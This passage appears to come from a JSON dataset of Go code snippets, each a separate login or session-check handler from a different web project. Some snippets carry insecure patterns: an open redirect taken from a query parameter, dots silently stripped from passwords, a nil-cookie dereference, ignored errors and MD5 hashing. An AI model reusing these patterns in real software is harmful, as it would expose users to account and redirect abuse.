err\\n\\t}\\n\\n\\t//\\n\\treq := new(UserLoginRequest)\\n\\tdata := make(map[string]interface{})\\n\\tf := func() (bool, error) {\\n\\n\\t\\tif r.Method == http.MethodPost {\\n\\t\\t\\terr := r.ParseForm()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn false, err\\n\\t\\t\\t}\\n\\n\\t\\t\\tdecoder := schema.NewDecoder()\\n\\t\\t\\tif err := decoder.Decode(req, r.PostForm); err != nil {\\n\\t\\t\\t\\treturn false, err\\n\\t\\t\\t}\\n\\n\\t\\t\\treq.Password = strings.Replace(req.Password, \\\".\\\", \\\"\\\", -1)\\n\\t\\t\\tsessionTTL := time.Hour\\n\\t\\t\\tif req.RememberMe {\\n\\t\\t\\t\\tsessionTTL = time.Hour * 36\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Authenticated the user.\\n\\t\\t\\ttoken, err := h.AuthRepo.Authenticate(ctx, user_auth.AuthenticateRequest{\\n\\t\\t\\t\\tEmail: req.Email,\\n\\t\\t\\t\\tPassword: req.Password,\\n\\t\\t\\t}, sessionTTL, ctxValues.Now)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tswitch errors.Cause(err) {\\n\\t\\t\\t\\tcase user.ErrForbidden:\\n\\t\\t\\t\\t\\treturn false, web.RespondError(ctx, w, weberror.NewError(ctx, err, http.StatusForbidden))\\n\\t\\t\\t\\tcase user_auth.ErrAuthenticationFailure:\\n\\t\\t\\t\\t\\tdata[\\\"error\\\"] = weberror.NewErrorMessage(ctx, err, http.StatusUnauthorized, \\\"Invalid username or password. Try again.\\\")\\n\\t\\t\\t\\t\\treturn false, nil\\n\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\tif verr, ok := weberror.NewValidationError(ctx, err); ok {\\n\\t\\t\\t\\t\\t\\tdata[\\\"validationErrors\\\"] = verr.(*weberror.Error)\\n\\t\\t\\t\\t\\t\\treturn false, nil\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\treturn false, err\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Add the token to the users session.\\n\\t\\t\\terr = handleSessionToken(ctx, w, r, token)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn false, err\\n\\t\\t\\t}\\n\\n\\t\\t\\tredirectUri := \\\"/\\\"\\n\\t\\t\\tif qv := r.URL.Query().Get(\\\"redirect\\\"); qv != \\\"\\\" {\\n\\t\\t\\t\\tredirectUri, err = url.QueryUnescape(qv)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn false, err\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Redirect the user to the dashboard.\\n\\t\\t\\treturn true, web.Redirect(ctx, w, r, redirectUri, http.StatusFound)\\n\\t\\t}\\n\\n\\t\\treturn false, nil\\n\\t}\\n\\n\\tend, err := f()\\n\\tif err != nil {\\n\\t\\treturn web.RenderError(ctx, w, r, err, h.Renderer, TmplLayoutBase, TmplContentErrorGeneric, web.MIMETextHTMLCharsetUTF8)\\n\\t} else if end {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tdata[\\\"form\\\"] = req\\n\\n\\tif verr, ok := weberror.NewValidationError(ctx, webcontext.Validator().Struct(UserLoginRequest{})); ok {\\n\\t\\tdata[\\\"validationDefaults\\\"] = verr.(*weberror.Error)\\n\\t}\\n\\n\\treturn h.Renderer.Render(ctx, w, r, TmplLayoutBase, \\\"user-login.gohtml\\\", web.MIMETextHTMLCharsetUTF8, http.StatusOK, data)\\n}\",\n \"func (app *application) login(w http.ResponseWriter, r *http.Request) {\\n\\tsession, err := app.sessionStore.Get(r, \\\"session-name\\\")\\n\\tif err != nil {\\n\\t\\tapp.serverError(w, err)\\n\\t\\treturn\\n\\t}\\n\\terr = r.ParseForm()\\n\\tif err != nil {\\n\\t\\tapp.clientError(w, http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tform := forms.New(r.PostForm)\\n\\tform.Required(\\\"email\\\", \\\"password\\\")\\n\\tform.MatchesPattern(\\\"email\\\", forms.RxEmail)\\n\\tif !form.Valid() {\\n\\t\\tapp.render(w, r, \\\"login.page.tmpl\\\", &templateData{Form: form})\\n\\t\\treturn\\n\\t}\\n\\tvar id int\\n\\tif form.Get(\\\"accType\\\") == \\\"customer\\\" {\\n\\t\\tid, err = app.customers.Authenticate(form.Get(\\\"email\\\"), form.Get(\\\"password\\\"))\\n\\t\\tif err == models.ErrInvalidCredentials {\\n\\t\\t\\tform.Errors.Add(\\\"generic\\\", \\\"Email or Password Incorrect. Please ensure you have selected correct account type\\\")\\n\\t\\t\\tapp.render(w, r, \\\"login.page.tmpl\\\", &templateData{Form: form})\\n\\t\\t\\treturn\\n\\t\\t} else if err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tsession.Values[\\\"customerID\\\"] = id\\n\\t\\terr = session.Save(r, w)\\n\\t\\tif err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\thttp.Redirect(w, r, \\\"/customer/home\\\", http.StatusSeeOther)\\n\\t} else {\\n\\t\\tid, err = app.vendors.Authenticate(form.Get(\\\"email\\\"), form.Get(\\\"password\\\"))\\n\\t\\tif err == models.ErrInvalidCredentials {\\n\\t\\t\\tform.Errors.Add(\\\"generic\\\", \\\"Email or Password Incorrect. Please ensure you have selected correct account type\\\")\\n\\t\\t\\tapp.render(w, r, \\\"login.page.tmpl\\\", &templateData{Form: form})\\n\\t\\t\\treturn\\n\\t\\t} else if err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tsession.Values[\\\"vendorID\\\"] = id\\n\\t\\terr = session.Save(r, w)\\n\\t\\tif err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\thttp.Redirect(w, r, \\\"/vendor/home\\\", http.StatusSeeOther)\\n\\t}\\n}\",\n \"func verifyLogin(req *restful.Request, resp *restful.Response ) bool {\\n\\tcookie, err := req.Request.Cookie(\\\"session-id\\\")\\n\\tif cookie.Value != \\\"\\\" {\\n\\t\\t_, exists := sessions[cookie.Value]\\n\\t\\tif !exists {\\n\\t\\t\\thttp.Redirect(resp.ResponseWriter, req.Request, \\\"/\\\", 302)\\n\\t\\t\\treturn false\\n\\t\\t}\\n\\t\\treturn true\\n\\t} else if err != nil {\\n\\t\\tfmt.Println(err.Error())\\n\\t\\thttp.Redirect(resp.ResponseWriter, req.Request, \\\"/\\\", 302)\\n\\t\\treturn false\\n\\t} else {\\n\\t\\thttp.Redirect(resp.ResponseWriter, req.Request, \\\"/\\\", 302)\\n\\t\\treturn false\\n\\t}\\n}\",\n \"func Authenticate(w http.ResponseWriter, request *http.Request, _ httprouter.Params) {\\n\\terr := request.ParseForm()\\n\\tif err != nil {\\n\\t\\t// If there is something wrong with the request body, return a 400 status\\n\\t\\tLogger.Println(\\\"Not able to parse the form!!\\\")\\n\\t\\t//remove the user ID from the session\\n\\t\\trequest.Header.Del(\\\"User\\\")\\n\\t\\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\tLogger.Println(\\\"LogIn Form Parsed Successfully!!\\\")\\n\\n\\tvar UP m.User\\n\\n\\terr = m.Users.Find(\\\"email\\\", request.Form[\\\"email\\\"][0], &UP)\\n\\tif err != nil {\\n\\t\\tLogger.Printf(\\\"Not Able to Found a Valid User ID with Email: %v\\\", request.Form[\\\"email\\\"][0])\\n\\t\\t// If there is an issue with the database, return a 500 error\\n\\t\\t//remove the user ID from the session\\n\\t\\trequest.Header.Del(\\\"User\\\")\\n\\t\\thttp.Redirect(w, request, \\\"/register\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\n\\tif UP.Email != request.Form[\\\"email\\\"][0] {\\n\\t\\tLogger.Println(\\\"Invalid User Please Register!!\\\")\\n\\t\\t// If there is an issue with the database, return a 500 error\\n\\t\\t//remove the user ID from the session\\n\\t\\trequest.Header.Del(\\\"User\\\")\\n\\t\\thttp.Redirect(w, request, \\\"/register\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\n\\tLogger.Printf(\\\"Register User with Email %v was Found Successfully\\\", UP.Email)\\n\\n\\t//check for valid cookie\\n\\t// _, err = request.Cookie(\\\"kRtrima\\\") //Grab the cookie from the header\\n\\t// if err == http.ErrNoCookie {\\n\\t// \\tLogger.Println(\\\"No Cookie was Found with Name kRtrima\\\")\\n\\t// \\t//Check if the user has a valid session id\\n\\t// \\tif m.UP.Salt != \\\"\\\" {\\n\\t// \\t\\tLogger.Println(\\\"User already have a valid session!!\\\")\\n\\t// \\t\\t//Delete the old session\\n\\t// \\t\\tif _, err := m.Sessions.DeleteItem(m.UP.Session); err != nil {\\n\\t// \\t\\t\\tLogger.Println(\\\"Not able to Delete the session!!\\\")\\n\\t// \\t\\t\\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t// \\t\\t\\treturn\\n\\t// \\t\\t}\\n\\t// \\t\\t//session was deleted\\n\\n\\t// \\t\\t//delete a user struct with session uuid as nil\\n\\t// \\t\\tupdate := bson.M{\\n\\t// \\t\\t\\t\\\"salt\\\": \\\"\\\",\\n\\t// \\t\\t\\t\\\"session\\\": nil,\\n\\t// \\t\\t}\\n\\n\\t// \\t\\t//remove the user ID from the session\\n\\t// \\t\\tif _, err := m.Users.UpdateItem(m.UP.ID, update); err != nil {\\n\\t// \\t\\t\\tLogger.Println(\\\"Not able to remove session ID from User!!\\\")\\n\\t// \\t\\t\\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t// \\t\\t\\treturn\\n\\t// \\t\\t}\\n\\t// \\t\\tLogger.Println(\\\"Session was successfully removed from user!!\\\")\\n\\t// \\t}\\n\\t// \\t//user dont have a valid session go to next\\n\\t// } else {\\n\\t// \\tLogger.Println(\\\"Cookie was Found with Name kRtrima during login\\\")\\n\\t// \\t// Compare if the user already has a valid session\\n\\t// \\tif m.UP.Salt != \\\"\\\" {\\n\\t// \\t\\tLogger.Println(\\\"User already have a valid session!!\\\")\\n\\t// \\t\\t//Another session already active, please logout and relogin\\n\\t// \\t\\thttp.Redirect(w, request, \\\"/Dashboard\\\", 302)\\n\\t// \\t\\treturn\\n\\t// \\t}\\n\\t// \\tLogger.Println(\\\"User do not have a valid session!!\\\")\\n\\t// \\t// reset the cookie with new info\\n\\t// }\\n\\n\\t// Compare the stored hashed password, with the hashed version of the password that was received\\n\\tif err = bcrypt.CompareHashAndPassword(UP.Hash, []byte(request.Form[\\\"password\\\"][0])); err != nil {\\n\\t\\tLogger.Println(\\\"Password Did Not Matched!!\\\")\\n\\t\\t// If the two passwords don't match, return a 401 status\\n\\t\\t//remove the user ID from the session\\n\\t\\trequest.Header.Del(\\\"User\\\")\\n\\t\\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\n\\tLogger.Println(\\\"Password Matched Successfully\\\")\\n\\n\\tvar SSL []m.Session\\n\\t// Find all the session with user salt\\n\\terr = m.Sessions.FindbyKeyValue(\\\"salt\\\", UP.Salt, &SSL)\\n\\tif err != nil {\\n\\t\\tLogger.Printf(\\\"Cannot find a Valid Session for User %v\\\", UP.Name)\\n\\t\\t// http.Redirect(w, request, \\\"/login\\\", 302)\\n\\t}\\n\\n\\tif SSL != nil {\\n\\t\\tfor _, s := range SSL {\\n\\t\\t\\t// \\t\\t//Delete the old session\\n\\t\\t\\tif _, err := m.Sessions.DeleteItem(s.ID); err != nil {\\n\\t\\t\\t\\tLogger.Printf(\\\"Not able to Delete the session with ID: %v\\\", s.ID)\\n\\t\\t\\t\\t//remove the user ID from the session\\n\\t\\t\\t\\trequest.Header.Del(\\\"User\\\")\\n\\t\\t\\t\\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t//create a new session\\n\\t// Create a struct type to handle the session for login\\n\\tstatement := m.Session{\\n\\t\\tSalt: UP.Salt,\\n\\t\\tCreatedAt: time.Now(),\\n\\t}\\n\\n\\tSSID, err := m.Sessions.AddItem(statement)\\n\\tif err != nil {\\n\\t\\tLogger.Printf(\\\"Cannot Create a Valid Session for User: %v\\\", UP.Name)\\n\\t\\t//remove the user ID from the session\\n\\t\\trequest.Header.Del(\\\"User\\\")\\n\\t\\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t\\treturn\\n\\t}\\n\\tLogger.Printf(\\\"New Session Was Created Successfully for User: %v\\\", UP.Name)\\n\\n\\t// //create a user struct with session uuid\\n\\t// update := m.User{\\n\\t// \\tSalt: uuid,\\n\\t// \\tSession: ssid,\\n\\t// }\\n\\n\\t// //add the new session to the user db\\n\\t// if _, err := m.Users.UpdateItem(m.UP.ID, update); err != nil {\\n\\t// \\tLogger.Println(\\\"Cannot Insert Session ID to User!!\\\")\\n\\t// \\thttp.Redirect(w, request, \\\"/login\\\", 302)\\n\\t// \\treturn\\n\\t// }\\n\\t// Logger.Println(\\\"Session ID Was Inserted to User!!\\\")\\n\\n\\t// re := regexp.MustCompile(`\\\"(.*?)\\\"`)\\n\\t// rStr := fmt.Sprintf(`%v`, SSID.Hex())\\n\\t// rStr1 := re.FindStringSubmatch(rStr)[1]\\n\\n\\t// fmt.Println(SSID.Hex())\\n\\n\\tcookie := http.Cookie{\\n\\t\\tName: \\\"kRtrima\\\",\\n\\t\\tValue: SSID.Hex(),\\n\\t\\tHttpOnly: true,\\n\\t}\\n\\thttp.SetCookie(w, &cookie)\\n\\tLogger.Printf(\\\"Cookie was assigned successfully for User %v\\\", UP.Name)\\n\\n\\tLogger.Println(\\\"Authentication SuccessFul\\\")\\n\\thttp.Redirect(w, request, \\\"/Dashboard\\\", 302)\\n\\n}\",\n \"func loginHandler(w http.ResponseWriter, r *http.Request) {\\n\\tctx := context.Background()\\n\\tif b.authenticator == nil {\\n\\t\\tvar err error\\n\\t\\tb.authenticator, err = initAuth(ctx)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Print(\\\"loginHandler authenticator could not be initialized\\\")\\n\\t\\t\\thttp.Error(w, \\\"Server error\\\", http.StatusInternalServerError)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\tsessionInfo := identity.InvalidSession()\\n\\terr := r.ParseForm()\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"loginHandler: error parsing form: %v\\\", err)\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tusername := r.PostFormValue(\\\"UserName\\\")\\n\\tlog.Printf(\\\"loginHandler: username = %s\\\", username)\\n\\tpassword := r.PostFormValue(\\\"Password\\\")\\n\\tusers, err := b.authenticator.CheckLogin(ctx, username, password)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"main.loginHandler checking login, %v\\\", err)\\n\\t\\thttp.Error(w, \\\"Error checking login\\\", http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tif len(users) != 1 {\\n\\t\\tlog.Printf(\\\"loginHandler: user %s not found or password does not match\\\", username)\\n\\t} else {\\n\\t\\tcookie, err := r.Cookie(\\\"session\\\")\\n\\t\\tif err == nil {\\n\\t\\t\\tlog.Printf(\\\"loginHandler: updating session: %s\\\", cookie.Value)\\n\\t\\t\\tsessionInfo = b.authenticator.UpdateSession(ctx, cookie.Value, users[0], 1)\\n\\t\\t}\\n\\t\\tif (err != nil) || !sessionInfo.Valid {\\n\\t\\t\\tsessionid := identity.NewSessionId()\\n\\t\\t\\tdomain := config.GetSiteDomain()\\n\\t\\t\\tlog.Printf(\\\"loginHandler: setting new session %s for domain %s\\\",\\n\\t\\t\\t\\tsessionid, domain)\\n\\t\\t\\tcookie := &http.Cookie{\\n\\t\\t\\t\\tName: \\\"session\\\",\\n\\t\\t\\t\\tValue: sessionid,\\n\\t\\t\\t\\tDomain: domain,\\n\\t\\t\\t\\tPath: \\\"/\\\",\\n\\t\\t\\t\\tMaxAge: 86400 * 30, // One month\\n\\t\\t\\t}\\n\\t\\t\\thttp.SetCookie(w, cookie)\\n\\t\\t\\tsessionInfo = b.authenticator.SaveSession(ctx, sessionid, users[0], 1)\\n\\t\\t}\\n\\t}\\n\\tif strings.Contains(r.Header.Get(\\\"Accept\\\"), \\\"application/json\\\") {\\n\\t\\tsendJSON(w, sessionInfo)\\n\\t} else {\\n\\t\\tif sessionInfo.Authenticated == 1 {\\n\\t\\t\\ttitle := b.webConfig.GetVarWithDefault(\\\"Title\\\", defTitle)\\n\\t\\t\\tcontent := htmlContent{\\n\\t\\t\\t\\tTitle: title,\\n\\t\\t\\t}\\n\\t\\t\\tb.pageDisplayer.DisplayPage(w, \\\"index.html\\\", content)\\n\\t\\t} else {\\n\\t\\t\\tloginFormHandler(w, r)\\n\\t\\t}\\n\\t}\\n}\",\n \"func Login(w http.ResponseWriter, r *http.Request) {\\n\\n\\t//Create Error messages\\n\\tmessages := make([]string, 0)\\n\\ttype MultiErrorMessages struct {\\n\\t\\tMessages []string\\n\\t}\\n\\n\\t// Get Formdata\\n\\tvar user = model.User{}\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\t// Try Authentification\\n\\tuser, err := model.GetUserByUsername(username)\\n\\tif err != nil {\\n\\n\\t\\t//Add error Message\\n\\t\\tmessages = append(messages, \\\"Benutzer existiert nicht.\\\")\\n\\n\\t}\\n\\n\\t//Encode Password to base64 byte array\\n\\tpasswordDB, _ := base64.StdEncoding.DecodeString(user.Password)\\n\\terr = bcrypt.CompareHashAndPassword(passwordDB, []byte(password))\\n\\tif err != nil {\\n\\n\\t\\t//Add error Message\\n\\t\\tmessages = append(messages, \\\"Password falsch.\\\")\\n\\n\\t}\\n\\n\\t//Check if any Error Message was assembled\\n\\tif len(messages) != 0 {\\n\\n\\t\\tresponseModel := MultiErrorMessages{\\n\\t\\t\\tMessages: messages,\\n\\t\\t}\\n\\n\\t\\tresponseJSON, err := json.Marshal(responseModel)\\n\\t\\tif err != nil {\\n\\n\\t\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\t\\tw.Write([]byte(err.Error()))\\n\\n\\t\\t}\\n\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=UTF-8\\\")\\n\\t\\tw.WriteHeader(http.StatusConflict)\\n\\t\\tw.Write(responseJSON)\\n\\t\\treturn\\n\\n\\t}\\n\\n\\t//Hash Username\\n\\tmd5HashInBytes := md5.Sum([]byte(user.Name))\\n\\tmd5HashedUsername := hex.EncodeToString(md5HashInBytes[:])\\n\\n\\t//Create Session\\n\\tsession, err := store.Get(r, \\\"session\\\")\\n\\tsession.Values[\\\"authenticated\\\"] = true\\n\\tsession.Values[\\\"username\\\"] = username\\n\\tsession.Values[\\\"hashedusername\\\"] = md5HashedUsername\\n\\tif err != nil {\\n\\n\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\tw.Write([]byte(err.Error()))\\n\\n\\t}\\n\\n\\t//Save Session\\n\\terr = session.Save(r, w)\\n\\tif err != nil {\\n\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\tw.Write([]byte(err.Error()))\\n\\t}\\n\\n\\t//Redirect to ProfilePage\\n\\thttp.Redirect(w, r, \\\"/users?action=userdata\\\", http.StatusFound)\\n}\",\n \"func requireLogin(rw http.ResponseWriter, req *http.Request, app *App) bool {\\n\\tses, _ := app.SessionStore.Get(req, SessionName)\\n\\tvar err error\\n\\tvar id int64\\n\\tif val := ses.Values[\\\"userId\\\"]; val != nil {\\n\\t\\tid = val.(int64)\\n\\t}\\n\\n\\tif err == nil {\\n\\t\\t_, err = models.UserById(app.Db, id)\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\thttp.Redirect(rw, req, app.Config.General.Prefix+\\\"/login\\\", http.StatusSeeOther)\\n\\t\\treturn true\\n\\t}\\n\\treturn false\\n}\",\n \"func Login() echo.HandlerFunc {\\n\\treturn emailAndPasswordRequired(\\n\\t\\tfunc(context echo.Context) error {\\n\\t\\t\\tpassword := context.FormValue(\\\"password\\\")\\n\\t\\t\\temail := context.FormValue(\\\"email\\\")\\n\\t\\t\\tuser, err := FindByEmail(email)\\n\\t\\t\\tif err != nil || user == nil {\\n\\t\\t\\t\\tlog.Println(err)\\n\\t\\t\\t\\treturn context.JSON(http.StatusUnauthorized, errors.New(\\\"Wrong email and password combination\\\"))\\n\\t\\t\\t}\\n\\t\\t\\terr = bcrypt.CompareHashAndPassword([]byte(user.Hash), []byte(password))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(err)\\n\\t\\t\\t\\treturn context.JSON(http.StatusUnauthorized, errors.New(\\\"Wrong email and password combination\\\"))\\n\\t\\t\\t}\\n\\t\\t\\tauthToken, sessionID := auth.GetSessionToken()\\n\\t\\t\\tuser.Hash = \\\"\\\" // dont return the hash, for security concerns\\n\\n\\t\\t\\tuserSession, err := session.New(sessionID, user.ID, user.Firstname, user.Lastname, user.Email, user.IsAdmin)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tcontext.JSON(http.StatusInternalServerError, err)\\n\\t\\t\\t}\\n\\t\\t\\terr = session.Save(&userSession)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"Cannot save session %+v: %s\\\\n\\\", userSession, err)\\n\\t\\t\\t\\tcontext.JSON(http.StatusInternalServerError, err)\\n\\t\\t\\t}\\n\\t\\t\\tcontext.Response().Header().Set(echo.HeaderAuthorization, authToken)\\n\\t\\t\\taddCookie(context, authToken)\\n\\t\\t\\treturn context.JSON(http.StatusOK, formatUser(user))\\n\\t\\t})\\n}\",\n \"func UserLoginPost(w http.ResponseWriter, r *http.Request) {\\n\\tsess := session.Instance(r)\\n\\tvar loginResp webpojo.UserLoginResp\\n\\n\\t// Prevent brute force login attempts by not hitting MySQL and pretending like it was invalid :-)\\n\\tif sess.Values[SessLoginAttempt] != nil && sess.Values[SessLoginAttempt].(int) >= 5 {\\n\\t\\tlog.Println(\\\"Brute force login prevented\\\")\\n\\t\\tloginResp = makeUserLoginResp(constants.StatusCode_429, constants.Msg_429, \\\"/api/admin/login\\\")\\n\\t\\tReturnJsonResp(w, loginResp)\\n\\t\\treturn\\n\\t}\\n\\n\\tbody, readErr := ioutil.ReadAll(r.Body)\\n\\tif readErr != nil {\\n\\t\\tlog.Println(readErr)\\n\\t\\tReturnError(w, readErr)\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(body) == 0 {\\n\\t\\tlog.Println(\\\"Empty json payload\\\")\\n\\t\\tRecordLoginAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tloginResp = makeUserLoginResp(constants.StatusCode_400, constants.Msg_400, \\\"/api/admin/login\\\")\\n\\t\\tReturnJsonResp(w, loginResp)\\n\\t\\treturn\\n\\t}\\n\\n\\t//log.Println(\\\"r.Body\\\", string(body))\\n\\tloginReq := webpojo.UserLoginReq{}\\n\\tjsonErr := json.Unmarshal(body, &loginReq)\\n\\tif jsonErr != nil {\\n\\t\\tlog.Println(jsonErr)\\n\\t\\tReturnError(w, jsonErr)\\n\\t\\treturn\\n\\t}\\n\\tlog.Println(loginReq.Username)\\n\\n\\t//should check for expiration\\n\\tif sess.Values[UserID] != nil && sess.Values[UserName] == loginReq.Username {\\n\\t\\tlog.Println(\\\"Already signed in - session is valid!!\\\")\\n\\t\\tsess.Save(r, w) //Should also start a new expiration\\n\\t\\tloginResp = makeUserLoginResp(constants.StatusCode_200, constants.Msg_200, \\\"/api/admin/leads\\\")\\n\\t\\tReturnJsonResp(w, loginResp)\\n\\t\\treturn\\n\\t}\\n\\n\\tresult, dbErr := model.UserByEmail(loginReq.Username)\\n\\tif dbErr == model.ErrNoResult {\\n\\t\\tlog.Println(\\\"Login attempt: \\\", sess.Values[SessLoginAttempt])\\n\\t\\tRecordLoginAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tloginResp = makeUserLoginResp(constants.StatusCode_204, constants.Msg_204, \\\"/api/admin/login\\\")\\n\\t} else if dbErr != nil {\\n\\t\\tlog.Println(dbErr)\\n\\t\\tRecordLoginAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tloginResp = makeUserLoginResp(constants.StatusCode_500, constants.Msg_500, \\\"/error\\\")\\n\\t} else if passhash.MatchString(result.Password, loginReq.Password) {\\n\\t\\tlog.Println(\\\"Login successfully\\\")\\n\\t\\tsession.Empty(sess)\\n\\t\\tsess.Values[UserID] = result.UserID()\\n\\t\\tsess.Values[UserName] = loginReq.Username\\n\\t\\tsess.Values[UserRole] = result.UserRole\\n\\t\\tsess.Save(r, w) //Should also store expiration\\n\\t\\tloginResp = webpojo.UserLoginResp{}\\n\\t\\tloginResp.StatusCode = constants.StatusCode_200\\n\\t\\tloginResp.Message = constants.Msg_200\\n\\t\\tloginResp.URL = \\\"/api/admin/leads\\\"\\n\\t\\tloginResp.FirstName = result.FirstName\\n\\t\\tloginResp.LastName = result.LastName\\n\\t\\tloginResp.UserRole = result.UserRole\\n\\t\\tloginResp.Email = loginReq.Username\\n\\t} else {\\n\\t\\tlog.Println(\\\"Login attempt: \\\", sess.Values[SessLoginAttempt])\\n\\t\\tRecordLoginAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tloginResp = makeUserLoginResp(constants.StatusCode_404, constants.Msg_404, \\\"/api/admin/login\\\")\\n\\t}\\n\\n\\tReturnJsonResp(w, loginResp)\\n}\",\n \"func (uStr *User) Signin(w http.ResponseWriter, r *http.Request) {\\n\\n\\tvar user User\\n\\n\\terr = DB.QueryRow(\\\"SELECT id FROM users WHERE email=?\\\", uStr.Email).Scan(&user.ID)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t}\\n\\n\\tif utils.AuthType == \\\"default\\\" {\\n\\n\\t\\tif uStr.Email != \\\"\\\" {\\n\\t\\t\\terr = DB.QueryRow(\\\"SELECT id, password FROM users WHERE email=?\\\", uStr.Email).Scan(&user.ID, &user.Password)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"err email\\\")\\n\\t\\t\\t\\tutils.AuthError(w, r, err, \\\"user by Email not found\\\", utils.AuthType)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tutils.ReSession(user.ID, uStr.Session, \\\"\\\", \\\"\\\")\\n\\t\\t} else if uStr.Username != \\\"\\\" {\\n\\t\\t\\terr = DB.QueryRow(\\\"SELECT id, password FROM users WHERE username=?\\\", uStr.Username).Scan(&user.ID, &user.Password)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"errr username\\\")\\n\\t\\t\\t\\tutils.AuthError(w, r, err, \\\"user by Username not found\\\", utils.AuthType)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tutils.ReSession(user.ID, uStr.Session, \\\"\\\", \\\"\\\")\\n\\t\\t}\\n\\t\\t//check pwd, if not correct, error\\n\\t\\terr = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(uStr.Password))\\n\\t\\tif err != nil {\\n\\t\\t\\tutils.AuthError(w, r, err, \\\"password incorrect\\\", utils.AuthType)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t} else if utils.AuthType == \\\"google\\\" || utils.AuthType == \\\"github\\\" {\\n\\t\\tutils.ReSession(user.ID, uStr.Session, \\\"\\\", \\\"\\\")\\n\\t}\\n\\t\\n\\t//1 time set uuid user, set cookie in Browser\\n\\tnewSession := general.Session{\\n\\t\\tUserID: user.ID,\\n\\t}\\n\\t\\n\\tuuid := uuid.Must(uuid.NewV4(), err).String()\\n\\tif err != nil {\\n\\t\\tutils.AuthError(w, r, err, \\\"uuid problem\\\", utils.AuthType)\\n\\t\\treturn\\n\\t}\\n\\t//create uuid and set uid DB table session by userid,\\n\\tuserPrepare, err := DB.Prepare(`INSERT INTO session(uuid, user_id, cookie_time) VALUES (?, ?, ?)`)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t}\\n\\n\\t_, err = userPrepare.Exec(uuid, newSession.UserID, time.Now())\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t}\\n\\tdefer userPrepare.Close()\\n\\n\\tif err != nil {\\n\\t\\tutils.AuthError(w, r, err, \\\"the user is already in the system\\\", utils.AuthType)\\n\\t\\t//get ssesion id, by local struct uuid\\n\\t\\tlog.Println(err)\\n\\t\\treturn\\n\\t}\\n\\t\\n\\t// get user in info by session Id\\n\\terr = DB.QueryRow(\\\"SELECT id, uuid FROM session WHERE user_id = ?\\\", newSession.UserID).Scan(&newSession.ID, &newSession.UUID)\\n\\tif err != nil {\\n\\t\\tutils.AuthError(w, r, err, \\\"not find user from session\\\", utils.AuthType)\\n\\t\\tlog.Println(err, \\\"her\\\")\\n\\t\\treturn\\n\\t}\\n\\tutils.SetCookie(w, newSession.UUID)\\n\\t//user.Session.StartTimeCookie = time.Now().Add(time.Minute * 60)\\n\\tutils.AuthError(w, r, nil, \\\"success\\\", utils.AuthType)\\n\\tfmt.Println(utils.AuthType, \\\"auth type\\\")\\n\\thttp.Redirect(w, r, \\\"/profile\\\", 302)\\n}\",\n \"func verifyLogin(r *http.Request) bool {\\n\\tsession, err := store.Get(r, sessionName)\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"Failed to get session: %s\\\", 